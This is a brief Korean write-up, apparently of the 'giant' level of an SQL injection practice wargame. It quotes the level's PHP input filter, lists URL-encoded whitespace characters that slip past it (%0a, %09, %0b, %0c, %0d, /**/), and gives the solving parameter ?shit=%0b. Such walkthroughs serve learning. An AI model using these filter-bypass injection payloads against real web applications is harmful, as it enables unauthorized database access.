언우s 2018. 4. 11. 10:15

14. giant

if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 

shit 길이<=1

if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

\n, \r, \t, 스페이스바 필터링
$query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
if($result[1234]) solve("giant"); 

스페이스바 우회 -> %0a, %09, %0b, %0c, %0d, /**/

%0b, %0c로 우회 가능

?shit=%0b